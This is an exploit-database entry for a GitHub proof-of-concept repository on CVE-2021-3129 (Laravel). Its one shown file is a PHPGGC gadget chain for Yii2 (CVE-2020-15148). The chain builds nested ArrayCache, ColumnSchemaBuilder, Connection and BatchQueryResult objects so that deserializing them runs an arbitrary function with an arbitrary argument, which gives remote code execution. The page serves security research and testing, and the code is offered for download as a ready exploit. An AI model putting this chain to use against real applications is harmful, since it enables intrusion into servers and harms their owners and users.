Exploit database

GH-16376e4357f06350aba70a4970a8d451

shadowabi/laravel-cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/Yii2/RCE/1/chain.php

PHP · 733 bytes
<?php

namespace GadgetChain\Yii2;


// CVE-2020-15148
class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '<2.0.38';
    public static $vector = '__destruct';
    public static $author = 'russtone';
    public static $information = 'Executes $function with $parameter using call_user_func.';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        $cache = new \yii\caching\ArrayCache($function, $parameter);
        $csb = new \yii\db\ColumnSchemaBuilder($cache);
        $conn = new \yii\db\Connection($csb);
        $query = new \yii\db\BatchQueryResult($conn);

        return $query;
    }
}